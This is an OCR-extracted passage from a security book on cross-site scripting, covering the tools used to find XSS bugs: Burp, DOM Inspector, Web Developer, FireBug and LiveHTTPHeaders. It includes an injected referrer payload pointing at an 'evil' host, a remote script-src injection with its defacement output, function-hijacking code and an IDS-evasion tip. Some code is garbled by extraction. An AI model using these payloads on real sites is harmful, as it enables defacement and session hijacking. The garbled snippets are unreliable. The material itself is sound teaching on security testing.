Cross-site Scripting Fundamentals • Chapter 1 11
request.open('GET', '/service.xml.php', false);
// send the request
request.send(null);
If the server response contains the following in the body:
<messageForYou>
<overHere id="message">Hello World!</overHere> </messageForYou>
The browser will display “Hello World!” in an alert box.
It is important to understand the basics of XML and AJAX, as they are becoming an integral part of the Internet. It is also important to understand the impact these technologies will have on traditional Web application security testing.
|
||||
|
|
||||
|
Summary
|
||||
|
|
||||
|
XSS is an attack vector that can be used to steal sensitive information, hijack user sessions, and compromise the browser and the underplaying system integrity. XSS vulnerabilities have existed since the early days of the Web. Today, they represent the biggest threat to e-com-merce, a billions of dollars a day industry.
Solutions Fast Track
History of XSS
0 XSS vulnerabilities exists since the early days of the Web.
0 In 1999, inspired by the work of Georgi Guninski, David Ross published the first paper on XSS flaws entitled “Script Injection.”
0 In 2005, the first XSS worm known as Samy attacked the popular social networking Web site MySpace.
Web Application Security
0 The Web is one of the largest growing industries, a playground of 800 million
users, home of 100 million Web sites, and transporter of billions of dollars everyday.
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||
|
12 Chapter 1 • Cross-site Scripting Fundamentals
|
||||
|
|
||||
|
0 Web Application Security is a term that describes the methods of securing Web-based software.
0 Web traffic is often allowed to pass through corporate firewalls to enable e-commerce.
0 XSS, although a small part of the Web Application security field, represents the biggest threat.
XML and AJAX Introduction
0 AJAX is a technology that powers interactive Web application with improved user experience, greater usability, and increased processing speed.
0 The core component of AJAX is the XMLHttpRequest object, which provides greater control on the request and the response initiated by the browser.
0 DOM is a W3C standard that defines how to represent XML tree structures.
Frequently Asked Questions
The following Frequently Asked Questions, answered by the authors of this book, are designed to both measure your understanding of the concepts presented in this chapter and to assist you with real-life implementation of these concepts. To have your questions about this chapter answered by the author, browse to www. syngress.com/solutions and click on the “Ask the Author” form.
Q: What is the difference between HTML Injection and XSS?
A: Both of them refer to exactly the same thing. In one of the situations, the attacker
injected valid HTML tags, while in the other one, the attacker injected HTML tags but also tried to run a script.
|
||||
|
|
||||
|
Q: Does my anti-virus software protect me from XSS attacks?
A: No. Ant-virus software protects you from viruses and other types of malicious code that may be obtained from a XSS vulnerability. Some ant-virus software can detect known types of malware, but they cannot prevent XSS from occurring.
Q: Can XSS worm propagate on my system?
A: XSS worms affect Web applications and the only way they can spread is by exploiting XSS vulnerabilities. However, there are many browser bugs that can exploit your system
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||
|
Cross-site Scripting Fundamentals • Chapter 1 13
|
||||
|
|
||||
|
as well. In that respect, XSS worms that contain browser bug exploits can also compromise your system.
Q: XSS attacks can compromise my online account but not my network. Is that true?
A: The browser is a middleware technology that is between your trusted network and the untrusted Web. Every time you visit a page, you silently download scripts and run it inside the context of the browser. These scripts have access to internal network addresses and as such can also propagate inside your network.
Q: Does it mean that all AJAX applications are vulnerable to XSS attacks?
A: Although the majority of the Web applications have XSS issues, it is important to understand that XSS is caused by server/client side scripts, which does not sanitize user input. If you follow a strong security practice, you can prevent XSS from occurring by filtering or escaping undesired characters.
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||
|
|
||||
|
Chapter 2
|
||||
|
|
||||
|
|
The XSS Discovery Toolkit
|
|
||
|
|
||||
|
Solutions in this chapter:
■ Burp
■ Debugging DHTML With Firefox Extensions
■ Analyzing HTTP Traffic with Firefox Extensions
■ GreaseMonkey
■ Hacking with Bookmarklets
■ Using Technika
|
||||
|
|
||||
|
0 Summary
0 Solutions Fast Track
0 Frequently Asked Questions
|
||||
|
|
||||
|
15
|
||||
|
|
||||
|
|
||
|
16 Chapter 2 • The XSS Discovery Toolkit
|
||
|
|
||
|
Introduction
Finding and exploiting cross-site scripting (XSS) vulnerabilities can be a complex and time consuming task. To expedite the location of these bugs, we employ a wide range of tools and techniques. In this chapter, we look at a collection of tools that the authors have found to be invaluable in their research and testing.
It is important to note that many of the XSS bugs out there can be found with nothing more than a browser and an attention to detail. These low hanging fruit are typically found in search boxes and the like. By entering a test value into the form and viewing the results in the response, you can quickly find these simple bugs. However, these are the same bugs that you can find in a fraction of the time with a Web application scanner. Once these basic vulnerabilities are found, tools become a very valuable part of the attack process. Being able to alter requests and responses on the fly is the only way some of the best bugs are found. We should also mention that these tools are good for more than just locating XSS flaws. They are also very useful for developers and Web application penetration testers.
Burp
The modern browser is designed for speed and efficiency, which means Web application security assessment is a painful task, because probing a Web application requires in-depth analysis. Generally, to test an application, you want to slow down the transmission of data to and from the server to a snail’s pace so you can read and modify the transmitted data; hence the proxy.
In the early days of security, proxies were capable of slowing down the connection in only the outbound direction and as such, a user could only alter the information being transferred to the server; however, that’s only part of the equation when analyzing a Web application. Sometimes it greatly behooves you to be able to modify the incoming data. For example, you might want to modify a cookie so that it doesn’t use HttpOnly, or remove a JavaScript function. Sometimes you just want a bidirectional microscopic view into every request your browser is making. And then there was Burp Proxy (www.portswigger.com/ suite/.
Burp Proxy is part of a suite of Java tools called Burp Suite that allow for Web application penetration, but for the purposes of this book only one function is particularly useful, and that’s the proxy. To get started, you need the Java run time environment installed, which you can get from Java.com’s Web site. Once that is installed you modify your proxy settings in your browser to use localhost or 127.0.0.1 at port 8080.
|
||
|
|
||
|
|
||||
|
The XSS Discovery Toolkit • Chapter 2 17
|
||||
|
|
||||
|
Figure 2.1 Firefox Connection Settings Dialog
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
Figure 2.2 Burp Suit Main Window
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
Once this is done, you can launch Burp Proxy, which will show you a blank screen. The Intercept and Options windows are the most important ones that we will be focusing on. First let’s configure Burp Proxy to watch both inbound and outbound requests. Under “Options” uncheck resource type restrictions, turn on interception of Server Responses, and
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||
|
18 Chapter 2 • The XSS Discovery Toolkit
uncheck “text” as a content type. This will show you all of the data to and from every server you connect to.
Figure 2.3 Burp Suit Proxy Options Configuration Screen
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
Note
|
||||
|
|
||||
|
This is also a good way to identify spyware you may have on your system, as it will stop and alert you on any data being transferred from your client. You should do this for all of your clients if you want to see what spyware you have installed, as each one will need to go through the proxy for it to show you what is using it.
|
||||
|
|
||||
|
Once this has been configured, you should be able to surf and see any data being transferred to and from the host. This will allow you to both detect the data in transit and modify it as you see fit. Of course any data you modify that is sent to your browser affects you and you alone, however, if it can turn off JavaScript client side protection this can be used to do other nefarious things, like persistent XSS, which would normally not be allowed due to the client side protections in place. Also, in the days of Asynchronous JavaScript and XML (AJAX), this tool can be incredibly powerful to detect and modify data in transit in both directions, while turning off any protection put in place by the client to avoid modification by the browser.
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||
|
The XSS Discovery Toolkit • Chapter 2 19
Figure 2.4 Request Interception
|
||
|
|
||
![]() |
||
|
|
||
|
This can also help remove lots of information that would otherwise leak to the target, including cookies, referrers, or other things that are either unnecessary or slow down the exploitation, as seen in the above image. Another useful feature is the ability to switch into hex mode. This is particularly useful when you are viewing pages in alternate encoding methods, like US-ASCII or UTF-16.
In both of the images below you can see there are either non-visible characters (null) or characters that don’t fall within the normal low order (0–127) American Standard Code for Information Interchange (ASCII) range, but rather fall in the higher order 128–255 range. In both of these examples, when they work (IE7.0 for the first example in Figure 2.5 and Firefox for the second in Figure 2.6) the viewing source would provide you with little or no information about the encoding methods used or the specific characters required to perform the attack in that character set (charset).
|
||
|
|
||
|
|
||||
|
20 Chapter 2 • The XSS Discovery Toolkit
Figure 2.5 Response Interception as HEX for IE7
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
Figure 2.6 Response Interception as HEX for Firefox
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
Burp proxy is by far one of the most useful Web application security tools in any manual security assessment. Not only does it help uncover the obvious stuff, but it’s possible
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||
|
The XSS Discovery Toolkit • Chapter 2 21
|
||||
|
|
||||
|
to write custom rules if you know what you are looking for. For instance, if you wanted to find only XML files for debugging AJAX applications, a Burp proxy rule can be created to capture just this information.
Ultimately, Burp is only one tool amongst a wide array of others that do parts of what Burp does as well or better, but nothing works in quite the same way or with quite the same power as Burp Suite. Burp Proxy is not for the faint of heart, but once you get accustomed to it, it is a great learning tool for understanding how Hypertext Transfer Protocol (HTTP) actually works under the hood.
Debugging DHTML With Firefox Extensions
Over the last couple of years, Web applications have evolved from a combination of HTML and server side scripts to full-blown programs that put many desktop applications to shame. AJAX, one of the core technologies pushing Web application growth, has helped developers create Web-based word processors, calendars, collaborative systems, desktop and Web widgets, and more. However, along with these more complex applications comes the threat of new security bugs, such as XSS vulnerabilities. As a result, the need for powerful Web application debuggers has also surfaced.
Desktop application developers and security researchers have long used debuggers like IDA Pro, OllyDbg, and GDB to research malware, examine protection schemes, and locate vulnerabilities in binary software; however, these debuggers can’t be used to probe Web applications. While the overall functions of a Web application debugger are the same (i.e., locate bugs), the methodology is a bit different. Instead of examining assembly code, Web application debuggers need to be able to manage a complex and connected set of scripts, Web pages, and sources.
In this section, we are going to examine several tools and techniques that you can use to dig inside the increasingly complex world of the Web applications. Specifically, we are going to talk about several extremely useful Firefox Extensions that we use on a daily basis.You will learn how to explore the Document Object Model (DOM), dynamically modify applications to suit your needs, and trace through JavaScript sources.
DOM Inspector
One of the most important characteristics of Dynamic Hypertext Markup Language (DHTML) and AJAX is that they both perform dynamic modifications on the Web application HTML structure. This makes Web applications a lot faster, and thus more efficient, because only parts of the Web page are updated, as compared to all of the content. Knowing about how the HTML structure (the DOM) changes is the first step when performing a security audit. This is when we use the DOM Inspector Firefox Extension.
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||
|
22 Chapter 2 • The XSS Discovery Toolkit
|
||||
|
|
||||
|
Since 2003, the DOM Inspector is a default component of the Firefox browser.You can access the extension from Tools | DOM Inspector. Figure 2.7 shows the default screen of DOM Inspector.
Figure 2.7 DOM Inspector Main Window
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
If you cannot find DOM Inspector in your Tools menu, it is probably not enabled. In order to enable it, you need to download the latest Firefox Installation executable and install it again. When you are asked about the type of setup, choose Custom. The Custom setup window configuration dialog looks like that in Figure 2.8
Select the DOM Inspector check box if not selected and press Next. You can continue with the rest of the installation using default settings.
The “DOM Inspector” dialog box is divided into four main sections (see Figure 2.9). The top part contains information about the resource that is being inspected. The middle of the dialog is occupied by two inspection trees from where you can select the type of structure you want to explore: CSS, DOM, JavaScript object, and so forth. The bottom of the dialog box contains the actual page that is under inspection. We use Gmail in this example.
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||
|
The XSS Discovery Toolkit • Chapter 2 23
|
||||
|
|
||||
|
Figure 2.8 Mozilla Custom Setup Wizard
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
The middle part of the dialog box, where the inspection trees are located, is also the most interesting.You can navigate through the DOM structure by expanding and collapsing the tree on the left side, which then updates the content on the right side and allows you to narrow your search. The left and right side have several views that you can choose depending on the purpose of your inspection. If you are a graphic designer you might be interested in inspecting the various CSS properties, or if you are Web developer or security researcher you might be interested in examining the actual DOM JavaScript representation. Each of the inspection trees has a button to allow you to choose between the different views, as shown in Figure 2.9.
Figure 2.9 DOM Inspector View Selection
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||
|
24 Chapter 2 • The XSS Discovery Toolkit
|
||||
|
|
||||
|
By switching between different views you can explore the HTML structure of the application that you are testing in the most precise manner.You don’t have to examine messy HTML, CSS or JavaScript code. If you select a node from the DOM Inspector you can copy and paste it to a different place.You can read the XML code that composes the node or highlight the element on the HTML page. All of these operations are performed from DOM Inspector contextual menus. Figure 2.10 shows the selected node contextual menu in action.
|
||||
|
|
||||
|
Figure 2.10 DOM Inspector Contextual Menu
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
It will take awhile to learn how to navigate through the DOM structure via the DOM Inspector, but it is well worth the time. It is particularly important to know how to explore a JavaScript DOM structure. This is because developers often attach custom events, methods, and variables to these elements, which can reveal how the application works. With DOM Inspector we can look into how function calls are structured and the event flow of the application that we are testing. Figure 2.11 illustrates several DOM methods that are available on one of the inner iframes of GMail.
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||
|
The XSS Discovery Toolkit • Chapter 2 25
|
||||
|
|
||||
|
Figure 2.11 GMail Inner iframe Object Model
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
All of the functions visible on Figure 2.11 are standard for most DOM representations. If this iframe is important for the application workflow, we can replace some of these functions with our own and essentially hack into GMail internal structure. For example, a modified function can be used to sniff for certain events and then trigger actions when they occur. This could alternately be done by manually modifying the response data with any of the Web application testing proxies that we discuss in the book (e.g. Burp), but DOM Inspector helps to automate this process. As a result, you no longer have to manually intercept, change, and pass every Web request to the target function.
DOM Inspector has a facility called “Evaluate Expression,” which can be used to tap into the DOM Structure with some JavaScript expressions. Figure 2.12 shows the “Evaluate Expression” dialog box.
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||
|
26 Chapter 2 • The XSS Discovery Toolkit
Figure 2.12 Evaluate Expression Dialog Box
|
||
|
|
||
![]() |
||
|
|
||
|
If we want to replace the referrer object parameter from one of the GMail’s inner iframes, type the following code inside the “Evaluate Expression” dialog box:
target.referrer = 'http://evil/?<script>alert(\'xss\')</script>'
This expression will successfully replace the referrer of the inner iframe with your own value. After this expression is applied, all future calls that occur inside the targeted iframe will supply the value of the referrer as http://evil?<script>alert(‘xss’)</script>.This quick fix may cause XSS inside the server logs or any other part where the referrer field is used without any sanitizations applied. In our case, GMail is not vulnerable but you never know what the situation is from the inside of GMail.
DOM Inspector is an extremely powerful extension for Firefox that gives the power of examining complex Web applications with a few mouse clicks. It comes by default with Firefox, and you can use it without the need for installing additional components. However, we will learn later in this chapter that there is another Firefox extension created by the developers of DOM Inspector that allows us to do even more.
Web Developer Firefox Extension
When performing a manual assessment of a Web site, a penetration test needs to understand what is happening behind the scenes. One of the best tools to aid in this type of assessment
|
||
|
|
||
|
|
||||
|
The XSS Discovery Toolkit • Chapter 2 27
is the Web Developer extension for Firefox (http://chrispederick.com/work/webdevel-oper/). Web Developer provides a series of tools, primarily used for developers in debugging and developing applications, due to the way CSS, JavaScript, and other functions can muddy the document object model.
Rather than going through every function and feature of Web Developer, let’s focus on a few that are extremely valuable to an assessment, starting with the “Convert Form Method” function. Very often you will find that forms are a common point of injection for XSS. However, you will find that forms regularly use the POST method instead of the GET method. Although there are still ways to use POST methods to our advantage, many programs are written to not care which method you use. But rather than downloading the HTML to your local PC, manually altering the method from POST to GET, and submitting it (all the while hoping the referring URL doesn’t matter to the application), you can use the Convert Form Method function to switch POST methods to GET.
Another extremely useful tool for editing the HTML on the fly is the “Edit HTML” function. This allows you to dynamically modify and apply changes to the HTML in the browser window. This approach is much faster than downloading the HTML or using a proxy, which can be slow and tedious.
Insert Edit HTML Picture
In addition to HTML editing, you can remove any annoying JavaScript functions, change the CSS of the page, or anything else that is only obfuscating a security flaw that may otherwise cause a lot of pain during your testing.
The next function is “View Response Headers.” This is extremely useful for uncovering cookies, X-headers, proxy information, server information, and probably the most important for XSS, the charset. Knowing the charset is sometimes tricky because it can be set in the headers as well as inside the HTML tags itself through a META tag. But knowing the charset can help you assess what vectors to try (for instance UTF-8 is vulnerable to variable width encoding in older versions of Internet Explorer).
The Web Developer also includes a “View JavaScript” function. In highly complex sites, you will often find pages that attempt to obfuscate what is going on by including JavaScript in tricky ways that is either non-obvious or difficult to predict, because it’s dependant on some session information. Rather than toying around trying to find the algorithm used to call the JavaScript, or locate which function does what in the case of multiple included JS files, the View JavaScript function outputs all of the JavaScript used on the page in one large file.
Unlike the JSView function, which provides similar functionality, View JavaScript puts all the JavaScript onto one page for easy searching. That can really speed up the time it takes to get through a complex application. However, the single most useful tool I’ve found during my own testing that Web Developer offers that is difficult to find elsewhere is the “View Generated Source” function. Let’s say I have found a Web site that has been either
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||
|
28 Chapter 2 • The XSS Discovery Toolkit
already compromised in some way, or has extremely complex JavaScript built into it. In the following example, I’ve found an XSS hole in the Web Developer Web site:
XSS Example in Web Developer Web Site
In this case, the page has been modified using a file located at http://ha.ckers.org/sjs, but if I look at the source of the page all I see is:
|
||||
|
|
||||
|
|
||||
|
|
||||
|
Results 1-10 of 1000 for
<b>\" xscript src=http://ha.ckers.org/s.jsx/scriptx/b>
|
||||
|
|
||||
|
|
||||
|
|
||||
|
Note that in this case, the double quote was required due to the search engine’s requirements on that particular page. Although it does look superfluous, there is a method to the madness.
There may be a number of reasons you cannot go to the JavaScript file directly. Perhaps the Web site is down, the site uses obfuscation, or the JavaScript is created dynamically. In this case, we can use “View Generated Source” to see what that JavaScript function has done to the page:
|
||||
|
|
||||
|
|
||||
|
|
||||
|
<div style="text-align: center;"><p style="font-family: Verdana; font-style: normal; font-variant: normal; font-weight: bold; font-size: 36px; line-height: normal; font-size-adjust: none; font-stretch: normal; color: rgb(255, 0, 0);">This page has been Hacked!</pximg src="http://ha.ckers.org/images/stallowned.jpg" border="0"xp style="font-family: Arial; font-style: italic; font-variant: normal; font-weight: normal; font-size: 12px; line-height: normal; font-size-adjust: none; font-stretch: normal; color: rgb(221, 221, 221);">XSS Defacement</px/div>
|
||||
|
|
||||
|
|
||||
|
|
||||
|
This can be highly useful in dozens of different applications, but most importantly it can help you diagnose what your own scripts are doing when they fail. Oftentimes, this can help you debug the simplest errors that are otherwise invisible to the naked eye, because it is hidden behind many layers of JavaScript and CSS obfuscation.
In this section, we wanted to highlight the most useful functions of Web Developer. However, we could spend almost an entire book walking through the dozens of other tools that can be used to test specific browser functionality, like referrers, JavaScript, Java, images, styles, and so forth. Instead of writing a manual for the Web Developer toolbar, we encourage you to download it and try it for yourself. It is one of the single best aids in manual assessments using the Firefox Web browser.
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||
|
The XSS Discovery Toolkit • Chapter 2 29
|
||||
|
|
||||
|
FireBug
|
||||
|
|
||||
|
Earlier in this chapter we talked about DOM Inspector and how useful it can be when examining the inner workings of complex Web applications. In this section, we cover FireBug, another useful Firefox extension that was also built by DOM Inspector authors.
FireBug is a feature-full Web application debugger that comes in two flavors: FireBug Lite and the FireBug Mozilla Firefox Extension.
FireBug Lite is a cross-browser component that can be easily embedded into the application you want to test (see Figure 2.13). It is designed for developers rather than security researchers, and it is not as versatile as the Firefox Extension version (covered next). However, it could prove to be quite helpful in situations when you need to debug applications in Internet Explorer, Opera, and other browsers that do not support Cross Platform Installable (XPI) files for the Mozilla platform.
|
||||
|
|
||||
|
Figure 2.13 Firebug Lite
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
Before using FireBug Lite, you have to embed several script tags inside the application you want to debug. Download FireBug Lite and place it inside a folder on your local system.You have to include the following script tag inside your application pages to enable FireBug:
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||
|
30 Chapter 2 • The XSS Discovery Toolkit
<script language="javascript" type="text/javascript" src="/path/to/firebug/firebug.js"></script>
When you need to trace a particular variable in your application you can use the console object. For example, if we want to trace the change of the variable item in the following loop, we need to use the following code:
function (var item in document) console.log(item);
If you press F12, you should see the FireBug console window with a list of each item value. This is much more efficient than the alert() method, which can be very irritating, especially in cases where we need to list many values.There are some other features, but FireBug Lite is designed to run as a stripped down replacement of the FireBug browser extension.
The Firebug browser extension provides an integrated environment from where you can perform complete analysis of the Web applications that interest you (see Figure 2.14). It has features to explore the DOM structure, modify the HTML code on the fly, trace and debug JavaScript code, and monitor network requests and responses like the LiveHTTPHeaders extension discussed in Chapter 5 of this book.
Figure 2.14 Firebug Console Screen
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
|||||
|
The XSS Discovery Toolkit • Chapter 2
|
31
|
||||
|
|
|||||
|
Figure 2.14 illustrates the FireBug console, which acts like command line JavaScript interpreter, which can be used to evaluate expressions. Inside the console you can type proper JavaScript expressions (e.g., cdert(‘Messqge’);), and receive messages about errors. You can dynamically tap into code as well. For example, let’s say that you are testing a Web application that has a method exported on the window object called performRequest. This method is used by the application to send a request from the client to server. This information could be interesting to us, so let’s hijack the method by launching the following commands inside the console:
window._oldPerformRequest = window.performRequest;
window.performRequest = function () { console.log(arguments);
window._oldPerformRequest.apply(window, arguments) }
What this code essentially does is replace the original performRequest function with our own that will list all supplied parameters inside the console when executed. At the end of the function call we redirect the code flow to the original performRequest defined by oldPeformRequest, which will perform the desired operations.You can see how simple it is to hijack functions without the need to rewrite parts of the Web application methods.
Very often Web developers and designers don’t bother structuring their HTML code in the most readable form, making our life a lot harder, because we need to use other tools to restructure parts of the page. Badly structured HTML is always the case when WYSIWYG editors are used as part of the development process. Earlier in this chapter, we illustrated how the DOM Inspector can be used to examine badly structured HTML code. FireBug can also be used for the same purpose. Figure 2.15 shows FireBug HTML view.
|
|||||
|
|
|||||
|
Figure 2.15 Firebug HTML Screen
|
|||||
|
|
|||||
![]() |
|||||
|
|
|||||
|
|
|
||||
|
|
|||||
|
|
||||
|
32
|
Chapter 2 • The XSS Discovery Toolkit
|
|||
|
|
||||
|
As you can see from Figure 2.16, we can select and expand every HTML element that is part of the current view. On the right-hand side you can see the property window, which contains information about the style, the layout, and the DOM characteristics. The DOM characteristics are extremely helpful when you want to see about the various types of properties that are available, just like in DOM Inspector. Most of the time you will see the same name-value pairs, but you might also get some insight as to how the application operates. For example, it is a common practice among AJAX application developers to add additional properties and methods to div, image, link, and other types of HTML elements as we discussed in the DOM Inspector section. These properties and methods could be a critical part of the application logic.
The HTML view is also suitable for dynamically modifying the structure of the application document. We can simply delete the selected element by pressing the Delete button on your keyboard, or we can modify various element attributes by double clicking on their name and setting the desired value.
It is important to note that the changes made on the HTML structure will be lost on a page refresh event. If you want to persist the change, use a GreaseMonkey script. (GreaseMonkey is covered in depth in Chapter 6.)
AJAX applications are all about JavaScript, XML, and on-demand information retrieval. They scale better than normal applications and perform like desktop applications. Because of the heavy use of JavaScript, you will find that standard vulnerability assessment procedures will fail to cover all possible attack vectors. Like binary application testing, we need to use a debugger in order to trace through the code, analyze its structure, and investigate potential problems. FireBug contains features we can use to do all of that. Figure 2.16 shows FireBug Script Debugger view.
Figure 2.16 Firebug Script Screen
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||
|
The XSS Discovery Toolkit • Chapter 2 33
|
||||
|
|
||||
|
In Figure 2.16, you can see a break point on line 73. Breakpoints are types of directives that instruct the JavaScript interpreter to stop/pause the process when the code reaches the breakpoint. Once the program is paused, you can review the current data held in the global-local variable or even update that data. This not only gives you an insiders look as to what the program is doing, but also puts you in full control of the application.
On the right-hand side of Figure 2.17, you can see the Watch and Breakpoints list. The Breakpoints list contains all breakpoints that you have set inside the code you are debugging. You can quickly disable and enable breakpoints without the need of going to the exact position where the breakpoint was set.
The Watch list provides a mechanism to observe changes in the DOM structure. For example, if you are interested in knowing how the value of document.location.hash changes throughout the application execution, you can simply create a watch item called document.location.hash.
The DOM is where Web application contents are stored. The DOM structure provides all necessary functionalities to dynamically edit the page by removing and inserting HTML elements, initializing timers, creating and deleting cookies, and so forth. The DOM is the most complicated component of every Web application, so it is really hard to examine. However, FireBug provides useful DOM views that can be used the same way we use DOM Inspector. Figure 2.17 shows FireBug DOM viewer.
Figure 2.17 Firebug DOM Screen
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||||
|
34
|
Chapter 2 • The XSS Discovery Toolkit
|
|||
|
|
||||
|
As you can see from Figure 2.17, the DOM contains a long list of elements. We can see several functions that are currently available. The DOM element alert is a standard built-in function, while logout is a function provided by Google Inc.
By using FireBug DOM Explorer, we can examine each part of the currently opened application. We can see all functions and their source code. We can also see every property and object that is available and expand them to see their sub-properties in a tree-like structure.
One of the most powerful FireBug features is the Network traffic view (see Figure 2.18). This view is extremely helpful when we want to monitor the Web requests that are made from inside the application. Unlike the LiveHttpHeaders extension where all requests are displayed in a list, FireBug provides you with a detailed look at each request characteristic.
Figure 2.18 Firebug Network Screen
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
On the top of the Network view area you can select between different types of network activities. On Figure 2.18, we want to see all requests. However, you can list only requests performed by the XMLHttpRequest object (XHR object), for example. One interesting characteristic of FireBug is that the extension will record all network activities no matter whether it is open or closed. This behavior is different compared to the LiveHttpHeaders extension, which records network events only when it is open. However, unlike the LiveHttpHeaders extension, FireBug cannot replay network activities but you will be able to see the network traffic in a bit more detail. Figure 2.19 illustrates FireBug examining request and response headers and lists the sent parameters.
|
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
||
|
The XSS Discovery Toolkit • Chapter 2 35
Figure 2.19 Firebug Network Requests
|
||
|
|
||
![]() |
||
|
|
||
|
Analyzing HTTP
Traffic with Firefox Extensions
Having the ability to analyze and dynamically change your HTTP traffic is essential to Web application testing. The power to control the data being passed to and from a Web application can help a user find bugs, exploit vulnerabilities, and help with general Web application testing. In this section, we look at two such tools that give us that control— LiveHTTPHeaders and ModifyHeaders. These Firefox extensions provide us with a quick way to get inside the HTTP traffic without having to set up a proxy server.
LiveHTTPHeaders
LiveHTTPHeaders is a Firefox extension that allows us to analyze and replay HTTP requests. The tool can be installed directly from the http://livehttpheaders.mozdev.org/ installation.html Web site, where you can also find source code and installation tips.There are two ways to use LiveHTTPHeaders. If you only want to monitor the traffic, you can open it in your browser sidebar by accessing the extension from View | Sidebar | Live HTTP Headers. However, if you want access to all of the features of the tool, then you will want to open it in a separate window by clicking on Tools | Live HTTP Headers, as Figure 2.20 illustrates.
|
||
|
|
||
|
|
||
|
36 Chapter 2 • The XSS Discovery Toolkit
|
||
|
|
||
|
Figure 2.20 Live HTTP Headers Main Dialog Box
|
||
|
|
||
![]() |
||
|
|
||
|
The LiveHTTPHeaders main window has several tabs that list the different functions of the application. The middle part of the screen is where the requests and responses are displayed. Each request-response is separated by a horizontal line. The bottom part of the window contains LiveHTTPHeaders action buttons and the Capture check box, which specifies whether capturing mode is enabled or disabled. Check this button to stop LiveHTTPHeaders from scrolling down in order to analyze the traffic that has been generated.
In addition to passive monitoring of all HTTP traffic, LiveHTTPHeaders also allows you to replay a request. This is the part of the program that is most useful for Web application security testing. Having quick access to a past request allows us to change parts of the request in order to test for vulnerabilities and bugs.
To access this feature, select any of the listed requests and press the Replay button. As Figure 2.21 illustrates, you have complete control over the request. For example, you can add extra headers, change the request method (GET vs. POST), or modify the parameters that are sent to the server.
|
||
|
|
||
|
|
||
|
The XSS Discovery Toolkit • Chapter 2 37
|
||
|
|
||
|
Figure 2.21 Live HTTP Headers Replay Dialog Box
|
||
|
|
||
![]() |
||
|
|
||
|
The replay screen is the most useful feature in LiveHTTPHeaders, because it loads the results directly into the browser, which is one feature missing from Web proxy programs like Burp. Having this ability allows you to make changes, view the results, and continue on with your browsing session.
As previously mentioned, you can change any part of the request via the Replay feature. This includes POST parameters, as Figure 2.22 illustrates.
There is one small caveat that you should be aware of when altering a POST request, and that is the Content-Length header. The problem is that LiveHTTPReplay does not dynamically calculate the Content-Length header-value pair into the request. While most Web server/applications do not care if the value is missing, the header is necessary if the request is to be RFC compliant. By not including the value, you take the chance of raising an alert if there is an Intrusion Detection System (IDS) monitoring the Web traffic. Fortunately, LiveHTTPHeaders does provide a length count for you at the bottom left of the window, which you can use to insert your own Content-Length header value.
|
||
|
|
||
|
|
||||
|
38 Chapter 2 • The XSS Discovery Toolkit
Figure 2.22 Live HTTP Headers POST Replay
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
In addition to GET and POST requests, you can also use this tool to perform Web server testing via the TRACE, TRACK, and OPTIONS method. For example, by entering the following into the Replay tool, you can test to see if a Web server allows unrestricted file uploads.
Figure 2.23 Simulating HTTP PUT with LiveHTTPHeaders
|
||||
|
|
||||
![]() |
||||
|
|
||||
|
|
|
|||
|
|
||||
|
|
|||||||||||||||||||||||||||||||||||||
|
The XSS Discovery Toolkit • Chapter 2 39
|
|||||||||||||||||||||||||||||||||||||
|
|
|||||||||||||||||||||||||||||||||||||
|
The last item we want to discuss is how to filter out unwanted request types, which can reduce the amount of data you have to sort through when reviewing large Web applications. Figure 2.24 shows the Live HTTP Headers configuration tab.
|
|||||||||||||||||||||||||||||||||||||
|
|
|||||||||||||||||||||||||||||||||||||
|
Figure 2.24 Live HTTP Headers Configuration Dialog Box
|
|||||||||||||||||||||||||||||||||||||
|
|
|||||||||||||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||||||||||||
|
|
|||||||||||||||||||||||||||||||||||||
|
From the configuration view, we can exclude and include URL’s that match particular regular expression rules. Using “Filter URLs with regexp” and “Exclude URLs with regexp,” is where we specify what types of requests we are interested in based on their URL. In Figure 2.26, requests that end with .gif, .jpg, .ico, .css, and .js are excluded from the Headers view.
LiveHTTPHeaders is one of the most helpful tools when it comes to picking up XSS bugs. We can easily access the requests internal, modify them, and relay them with a few clicks. If you have tried LiveHTTPHeaders you have probably noticed that each replayed request still results into the browser window. Unlike other testing tools, such as application proxies, which when used emit in replay mode, you have to look inside the HTML structure for changes, LiveHTTPHeaders provides a visual result which we can absorb quicker.
|
|||||||||||||||||||||||||||||||||||||
|
|
|||||||||||||||||||||||||||||||||||||
|
ModifyHeaders
|
|||||||||||||||||||||||||||||||||||||
|
|
|||||||||||||||||||||||||||||||||||||
|
In the previous section, we mentioned that the LiveHTTPHeaders extension is a pretty good tool that we can use to monitor and perform interesting manipulations on outgoing HTTP requests. In this section, we learn how these modifications can be automated with the help of ModifyHeaders extension (available at http://modifyheaders.mozdev.org/).
